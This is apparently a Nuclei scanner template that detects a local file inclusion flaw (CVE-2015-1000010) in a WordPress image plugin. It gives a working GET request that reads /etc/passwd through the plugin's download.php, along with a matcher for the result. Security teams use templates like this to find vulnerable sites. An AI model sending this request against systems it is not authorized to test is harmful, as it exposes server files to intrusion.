id: CVE-2015-1000010

info:
  name: WordPress Simple Image Manipulator < 1.0 - Local File Inclusion
  author: dhiyaneshDK
  severity: high
  description: |
    WordPress Simple Image Manipulator 1.0 is vulnerable to local file inclusion in ./simple-image-manipulator/controller/download.php  because no checks are made to authenticate users or sanitize input when determining file location.
  impact: |
    An attacker can exploit this vulnerability to read arbitrary files on the server.
  remediation: |
    Update to the latest version of the WordPress Simple Image Manipulator plugin.
  reference:
    - https://packetstormsecurity.com/files/132962/WordPress-Simple-Image-Manipulator-1.0-File-Download.html
    - https://wpscan.com/vulnerability/40e84e85-7176-4552-b021-6963d0396543
    - https://nvd.nist.gov/vuln/detail/CVE-2015-1000010
    - http://www.vapidlabs.com/advisory.php?v=147
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2015-1000010
    cwe-id: CWE-284
    epss-score: 0.07038
    epss-percentile: 0.93361
    cpe: cpe:2.3:a:simple-image-manipulator_project:simple-image-manipulator:1.0:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: simple-image-manipulator_project
    product: simple-image-manipulator
    framework: wordpress
  tags: cve2015,cve,packetstorm,wpscan,wordpress,wp-plugin,lfi,wp,simple-image-manipulator_project,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/./simple-image-manipulator/controller/download.php?filepath=/etc/passwd'

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100942442749140b7089d93d3248f937d038dbac04ee0895452a8aadc4d67d718ba02207ded33ed13a6596c747819b2d8850fd75bbfa091720c80c9ee7ab2a4b92377a4:922c64590222798bb761d5b6d8e72950